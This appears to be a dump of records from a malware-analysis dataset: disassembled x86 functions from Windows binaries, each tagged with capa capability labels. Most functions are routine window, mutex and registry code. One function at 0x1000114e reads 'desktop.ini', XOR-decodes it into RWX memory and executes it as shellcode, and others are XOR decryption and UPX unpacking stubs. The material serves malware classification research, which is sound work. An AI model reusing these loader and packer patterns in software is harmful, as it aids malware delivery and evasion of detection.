joyce8/EMBER2024-capa huggingface dataset:
Function at 0x479790
Capabilities:
Get graphical window text

Disassembly:
push ecx
mov ecx, dword [esi + 0x1850]
test ecx, ecx
je 0x47984e
mov eax, dword [esi]
test eax, eax
je 0x47984e
push edi
test al, 1
jne 0x4797ba
mov eax, dword [esi + 0x100c]
cmp word [eax], 0
je 0x4797d6
push 0x7fff
lea edi, [esi + 0x1858]
push edi
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
jne 0x4797d6
xor ecx, ecx
mov word [edi], cx
test byte [esi], 4
mov edi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
je 0x4797f1
mov eax, dword [esi + 0x1850]
lea edx, [esi + 0x1854]
push edx
push eax
call edi
test byte [esi], 0x20
je 0x47982f
mov edx, dword [esi + 0x1850]
lea ecx, [esp + 4]
push ecx
push edx
call edi
test eax, eax
je 0x47982f
movzx eax, byte [esi + 0x1828]
mov ecx, dword [esp + 4]
push eax
lea eax, [esi + 0x11a58]
call fcn.004504e0
add esp, 4
test eax, eax
jne 0x47982f
xor ecx, ecx
mov word [esi + 0x11a58], cx
test byte [esi], 8
pop edi
je 0x47984e
mov eax, dword [esi + 0x1850]
push 0x101
lea edx, [esi + 0x11856]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClassNameW]
pop ecx
ret

Function at 0x47a070
Capabilities:
Enumerate gui resources

Disassembly:
mov eax, 0x11c64
call fcn.004991f0
mov eax, dword [esp + 0x11c68]
mov eax, dword [eax + 8]
push ebx
xor ebx, ebx
cmp eax, ebx
je 0x47a11d
mov dword [esp + 0x1848], eax
lea eax, [esp + 8]
push eax
push 0x47a7b0
mov dword [esp + 0x10], ebx
mov dword [esp + 0x101c], 0x4a1838
mov byte [esp + 0x1839], bl
mov dword [esp + 0x183c], ebx
mov dword [esp + 0x1840], ebx
mov dword [esp + 0x1844], ebx
mov dword [esp + 0x1848], ebx
mov dword [esp + 0x184c], ebx
mov dword [esp + 0x185c], ebx
mov dword [esp + 0x1860], ebx
mov byte [esp + 0x1854], cl
mov dword [esp + 0x1858], edx
call dword [sym.imp.USER32.dll_EnumWindows]
cmp dword [esp + 0x1838], ebx
je 0x47a11d
mov ecx, dword [0x4c48ec]
mov eax, dword [ecx + 0x54]
cmp eax, 0xffffffff
jle 0x47a11d
push 1
push eax
call fcn.00401360
add esp, 8
mov eax, 1
pop ebx
add esp, 0x11c64
ret 4
Function at 0x47a130
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x18]
cmp dword [edi + 8], 0
jne 0x47a14c
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
mov eax, dword [0x4c48ec]
push eax
push esi
mov ecx, edi
call fcn.0047a5f0
cmp byte [edi], 0
mov dword [esp + 0x10], eax
je 0x47a183
test eax, eax
jne 0x47a187
mov ecx, dword [esp + 0x1c]
push eax
push ecx
push edi
call fcn.0047a240
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8
test eax, eax
jne 0x47a206
test esi, esi
je 0x47a206
push 0
push 0
push 0x10
push esi
call dword [sym.imp.USER32.dll_PostMessageW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebp
push 1
push 0x8000012f
mov ebx, eax
call fcn.00401360
mov edi, dword [sym.imp.USER32.dll_IsWindow]
add esp, 8
push esi
call edi
test eax, eax
je 0x47a1e5
mov edi, edi
call ebp
lea ecx, [ebx + 0x1f4]
sub ecx, eax
cmp ecx, 5
jle 0x47a1e5
push 1
push 0x8000012f
call fcn.00401360
add esp, 8
push esi
call edi
test eax, eax
jne 0x47a1c0
mov edx, dword [0x4c48ec]
mov eax, dword [edx + 0x54]
cmp eax, 0xffffffff
jle 0x47a1fe
push 1
push eax
call fcn.00401360
add esp, 8
mov eax, dword [esp + 0x10]
mov edi, dword [esp + 0x18]
cmp byte [edi], 0
je 0x47a220
mov ecx, dword [esp + 0x1c]
push 0
push ecx
push edi
call fcn.0047a240
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8
mov edx, dword [esp + 0x1c]
push edx
mov ecx, edi
call fcn.0047a3c0
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8
Function at 0x47a3c0
Capabilities:
Enumerate gui resources

Disassembly:
mov eax, 0x11c68
call fcn.004991f0
push ebx
push ebp
push esi
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 8], ebx
je 0x47a540
xor cl, cl
mov eax, edi
call fcn.0047a560
test eax, eax
jne 0x47a3f5
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x11c68
ret 4
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebp, eax
mov eax, dword [0x4c48ec]
push eax
push ebp
mov ecx, edi
call fcn.0047a5f0
test eax, eax
je 0x47a418
xor eax, eax
mov dword [0x4ca5d4], eax
jmp 0x47a41d
mov eax, dword [0x4ca5d4]
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1024], 0x4a1838
mov dword [esp + 0x1844], ebx
mov dword [esp + 0x1848], ebx
mov dword [esp + 0x184c], ebx
mov dword [esp + 0x1864], ebx
mov dword [esp + 0x1868], ebx
cmp byte [esp + 0x11c7c], bl
je 0x47a463
mov byte [esp + 0x1841], bl
cmp eax, ebx
je 0x47a46b
mov byte [esp + 0x1841], 1
mov ecx, dword [0x4ca5d0]
mov edx, dword [edi + 8]
mov esi, dword [sym.imp.USER32.dll_EnumWindows]
mov dword [esp + 0x1854], eax
lea eax, [esp + 0x18]
push eax
push 0x47a6c0
mov dword [esp + 0x1858], ecx
mov dword [esp + 0x1860], edx
call esi
mov eax, dword [esp + 0x1848]
cmp eax, ebx
je 0x47a518
lea ecx, [esp + 0x10]
push ecx
push 0x479140
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], ebx
call esi
mov esi, dword [esp + 0x14]
cmp esi, ebx
je 0x47a4d5
mov edx, dword [esp + 0x1848]
call fcn.00479d00
mov dword [esp + 0x1848], esi
mov eax, dword [esp + 0x1848]
call fcn.00478130
mov edx, dword [esp + 0x1848]
call fcn.00479d00
mov edx, dword [0x4c48ec]
mov eax, dword [edx + 0x54]
cmp eax, 0xffffffff
jle 0x47a540
push 1
push eax
call fcn.00401360
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x11c68
ret 4
mov eax, dword [0x4ca5d4]
cmp eax, ebx
je 0x47a540
cmp eax, 1
setg al
mov dword [0x4ca5d4], ebx
cmp al, bl
je 0x47a540
mov edx, ebp
call fcn.00479d00
push ebx
mov ecx, edi
call fcn.0047a3c0
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x11c68
ret 4
Function at 0x494096
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4c3d70]
jne 0x4940a0
repz ret
jmp fcn.00498c1f

Function at 0x496fb0
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4c3d70]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00491482
and dword [ebp - 0x14], 0
cmp dword [0x4c6c1c], 0
mov dword [ebp - 0x18], eax
jne 0x497063
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x49710b
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4a0fc8
push ebx
call edi
test eax, eax
je 0x49710b
mov esi, dword [fcn.0048d710]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4c6c1c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4c6c20], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4c6c24], eax
call edi
push eax
call esi
mov dword [0x4c6c2c], eax
test eax, eax
je 0x497063
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4c6c28], eax
mov eax, dword [0x4c6c28]
mov ecx, dword [ebp - 0x18]
mov esi, dword [fcn.0048d714]
cmp eax, ecx
je 0x4970bc
cmp dword [0x4c6c2c], ecx
je 0x4970bc
push eax
call esi
push dword [0x4c6c2c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4970bc
test ebx, ebx
je 0x4970bc
call edi
test eax, eax
je 0x4970b3
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4970b3
test byte [ebp - 8], 1
jne 0x4970bc
or dword [ebp + 0x10], 0x200000
jmp 0x4970ef
mov eax, dword [0x4c6c20]
cmp eax, dword [ebp - 0x18]
je 0x4970ef
push eax
call esi
test eax, eax
je 0x4970ef
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4970ef
mov eax, dword [0x4c6c24]
cmp eax, dword [ebp - 0x18]
je 0x4970ef
push eax
call esi
test eax, eax
je 0x4970ef
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4c6c1c]
call esi
test eax, eax
je 0x49710b
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x49710d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00494096
leave
ret
Function at 0x11142b75
Capabilities:
Encode data using xor

Disassembly:
bt dx, 1
mov esi, dword [ebp + 4]
pushfd
pushfd
mov di, 0x9c53
mov edi, ebx
lea esp, [esp + 0xc]

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
call 0x43000c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
jmp loc.00401219

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x203764d7
nop
nop
nop
test eax, eax
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
mov ecx, 0x7c4b3c9d
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x414c30
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xd000]
push edi
or ebp, 0xffffffff
jmp 0x414c52
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x414c59
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x414c48
mov eax, 1
add ebx, ebx
jne 0x414c6b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x414c60
jne 0x414c7c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414c60
xor ecx, ecx
sub eax, 3
jb 0x414c90
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x414d02
mov ebp, eax
add ebx, ebx
jne 0x414c9b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x414ca8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x414ccc
inc ecx
add ebx, ebx
jne 0x414cb8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x414cad
jne 0x414cc9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414cad
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x414cec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x414cdd
jmp 0x414c4e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x414cec
add edi, ecx
jmp 0x414c4e
pop esi
mov edi, esi
mov ecx, 0x198
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x414d0a
cmp byte [edi], 0xb
jne 0x414d0a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x414d0f
lea edi, [esi + 0x12000]
mov eax, dword [edi]
or eax, eax
je 0x414d7e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x187d8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x18844]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x414d3c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1884c]
or eax, eax
je 0x414d78
mov dword [ebx], eax
add ebx, 4
jmp 0x414d59
call dword [esi + 0x18848]
mov ebp, dword [esi + 0x18850]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x414db2
sub esp, 0xffffff80
jmp 0x402530
Function at 0x401a50
Capabilities:
Accept command line arguments
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Delete file
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push ebx
xor ebx, ebx
push edi
push ebx
mov dword [ebp - 4], 0x80004005
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, 0x104
lea ecx, [ebp - 0x118]
push edi
push ecx
push 1
push eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], ebx
call dword [sym.imp.USER32.dll_LoadStringA]
test eax, eax
jne 0x401aa0
lea eax, [ebp - 0x118]
push 0x401368
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
cmp byte [esi], 0x22
jne 0x401ac4
lea eax, [esi + 1]
push 0x22
push eax
call fcn.0040314a
cmp eax, ebx
je 0x401ac2
lea esi, [eax + 1]
jmp 0x401ac4
mov byte [esi], bl
lea eax, [ebp - 0x21c]
push edi
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x14]
push eax
push esi
call fcn.00402039
cmp byte [ebp - 0x21c], bl
pop esi
jne 0x401afe
lea eax, [ebp - 4]
mov dword [ebp - 4], ebx
push eax
lea eax, [ebp - 0x118]
push eax
push dword [ebp - 0x10]
push dword [ebp - 8]
call fcn.00401b46
jmp 0x401b21
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x118]
push dword [ebp - 0x14]
push eax
push dword [ebp - 0x10]
push dword [ebp - 8]
call fcn.00401e9f
mov dword [ebp - 4], eax
cmp dword [ebp - 0xc], ebx
pop edi
pop ebx
je 0x401b3d
test byte [0x405114], 1
mov dword [ebp - 4], 0xbc2
jne 0x401b3d
call fcn.00403d9b
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401e9f
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0x4012d4
xor ebx, ebx
push 1
push ebx
call esi
push 0x40116c
push ebx
push ebx
mov dword [ebp - 4], eax
call esi
cmp dword [ebp + 0x14], ebx
mov dword [ebp - 8], eax
je 0x401ef7
push dword [ebp + 0x14]
push ebx
push 0x100400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
je 0x401ef7
push 0x1388
push esi
call fcn.00403d19
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0x18]
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x10c]
push eax
call fcn.00403560
lea eax, [ebp - 0x10c]
push eax
call fcn.00403560
lea eax, [ebp - 0x10c]
push eax
call fcn.00402440
push dword [ebp + 0x1c]
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 0x18]
push dword [ebp + 0xc]
call fcn.00402608
cmp eax, ebx
mov dword [ebp + 0x14], eax
jl 0x401f5d
call fcn.00402ccb
lea eax, [ebp - 0x10c]
push eax
call fcn.00402e7a
call fcn.00402f66
push edi
mov edi, dword [ebp + 8]
cmp edi, ebx
jne 0x401f6f
push dword [ebp + 0xc]
call fcn.00402f8a
mov edi, eax
cmp dword [ebp + 0x14], ebx
jl 0x401fcc
push 6
lea eax, [ebp - 0x210]
pop esi
push eax
call fcn.00403f65
cmp byte [ebp - 0x210], bl
je 0x401fb1
lea eax, [ebp - 0x210]
push 0x4013f8
push eax
call fcn.00403529
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x401fb1
push 0xa
pop esi
test byte [0x405114], 1
jne 0x401fcc
push 0x10040
push dword [ebp + 0xc]
push esi
push dword [ebp + 0x10]
push edi
call fcn.004038cc
mov esi, dword [ebp + 0x1c]
cmp dword [esi], 1
jne 0x401ff7
test byte [0x405114], 1
jne 0x401ff7
push 0x10044
push dword [ebp + 0xc]
push 7
push dword [ebp + 0x10]
push edi
call fcn.004038cc
cmp eax, 7
jne 0x401ff7
mov dword [esi], ebx
cmp edi, ebx
je 0x402013
push ebx
push ebx
call fcn.0040396e
test eax, eax
jne 0x402013
push ebx
push 0x40307a
push edi
call dword [sym.imp.USER32.dll_EnumChildWindows]
cmp dword [ebp - 8], ebx
pop edi
je 0x402022
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 4], ebx
pop esi
pop ebx
je 0x402032
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0x14]
leave
ret 0x18
Function at 0x402154
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
push 0x40116c
push edi
push edi
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, dword [ebp + 8]
cmp eax, edi
mov dword [esi], eax
je 0x4021ca
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4021ca
cmp dword [ebp + 0x10], edi
je 0x40219c
push edi
push edi
push dword [ebp + 0x14]
push 0x66
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_CreateDialogParamA]
mov ebx, eax
jmp 0x40219e
xor ebx, ebx
push 0x57e40
push dword [esi]
call fcn.00403d19
test eax, eax
je 0x4021b8
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x4021bf
mov dword [ebp - 4], 1
cmp ebx, edi
je 0x4021ca
push ebx
call dword [sym.imp.USER32.dll_DestroyWindow]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x4028e3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
lea eax, [ebp - 4]
push ebx
push eax
xor ebx, ebx
push 1
push ebx
push 0x4012a4
push SysStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4029bb
lea eax, [ebp - 8]
push esi
push eax
lea eax, [ebp - 0x10c]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push eax
push ebx
push ebx
push 0x401514
mov dword [ebp - 8], 0x104
push dword [ebp - 4]
call esi
test eax, eax
jne 0x4029b1
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4029b1
lea eax, [ebp - 0x210]
push 0x401500
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
call fcn.00403a06
test eax, eax
je 0x402978
lea eax, [ebp - 0x210]
push 0x4014f8
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x104
push eax
lea eax, [ebp - 0x10c]
push eax
push ebx
push ebx
push 0x4014f0
push dword [ebp - 4]
call esi
test eax, eax
jne 0x4029b1
push ebx
lea eax, [ebp - 0x210]
push dword [ebp + 0xc]
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.00403e01
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
leave
ret 8

Function at 0x4029c0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x330
mov eax, dword [ebp + 0xc]
and dword [ebp - 4], 0
test eax, eax
mov dword [ebp - 0x1c], 0x40152c
mov dword [ebp - 0x18], 0x40149c
mov dword [ebp - 0x14], 0x4014a4
je 0x4029ec
and byte [eax], 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push esi
push edi
lea eax, [ebp - 0x124]
push 0x4012a4
push eax
call ebx
and dword [ebp - 8], 0
lea edi, [ebp - 0x1c]
mov esi, dword [edi]
lea eax, [ebp - 0x124]
push esi
push eax
call fcn.00403529
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 0x124]
push 0
push eax
push SysStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402ac0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x104
push eax
lea eax, [ebp - 0x228]
push eax
push 0
push 0
push 0x401520
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402ab1
lea eax, [ebp - 0x228]
push 0x4014ac
push eax
call fcn.00403529
lea eax, [ebp - 0x330]
push eax
lea eax, [ebp - 0x228]
push eax
call fcn.004035ba
test eax, eax
je 0x402ab1
push dword [ebp + 8]
lea eax, [ebp - 0x330]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402ab1
cmp dword [ebp + 0xc], eax
je 0x402aaa
push esi
push dword [ebp + 0xc]
call ebx
mov dword [ebp - 4], 1
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 4], 1
je 0x402adc
lea eax, [ebp - 0x124]
push eax
call fcn.00403560
inc dword [ebp - 8]
add edi, 4
cmp dword [ebp - 8], 3
jb 0x402a0a
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x402ae6
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
lea eax, [ebp - 0x20c]
push 0x4012a4
push eax
call ebx
mov eax, dword [ebp + 0xc]
cmp byte [eax], 0
jne 0x402b12
mov eax, 0x40152c
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.00403529
xor edi, edi
lea eax, [ebp - 4]
push edi
push eax
push edi
push 2
push edi
push edi
lea eax, [ebp - 0x20c]
push edi
push eax
push SysStringLen
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x402ba8
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push dword [ebp + 8]
call esi
inc eax
push eax
push dword [ebp + 8]
push 1
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 0x401520
push dword [ebp - 4]
call edi
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call ebx
lea eax, [ebp - 0x108]
push eax
call fcn.00403560
lea eax, [ebp - 0x108]
push eax
call esi
inc eax
push eax
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push 0x401530
push dword [ebp - 4]
call edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop edi
pop ebx
leave
ret 8

Function at 0x402bae
Capabilities:
Delete registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
lea eax, [ebp - 4]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push eax
xor ebx, ebx
push 0x2001f
push ebx
push 0x401550
push SysStringLen
call esi
test eax, eax
jne 0x402c51
lea eax, [ebp - 8]
push edi
push eax
push 1
mov edi, 0x40152c
push ebx
push edi
push dword [ebp - 4]
call esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x402c4b
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x104
push eax
lea eax, [ebp - 0x110]
push eax
push ebx
push ebx
push 0x401540
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402c38
push 1
lea eax, [ebp - 0x110]
push 0x4014ac
push eax
call fcn.004031b8
test eax, eax
je 0x402c38
push 1
pop ebx
push dword [ebp - 8]
call esi
test ebx, ebx
je 0x402c4b
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push dword [ebp - 4]
call esi
pop edi
pop esi
pop ebx
leave
ret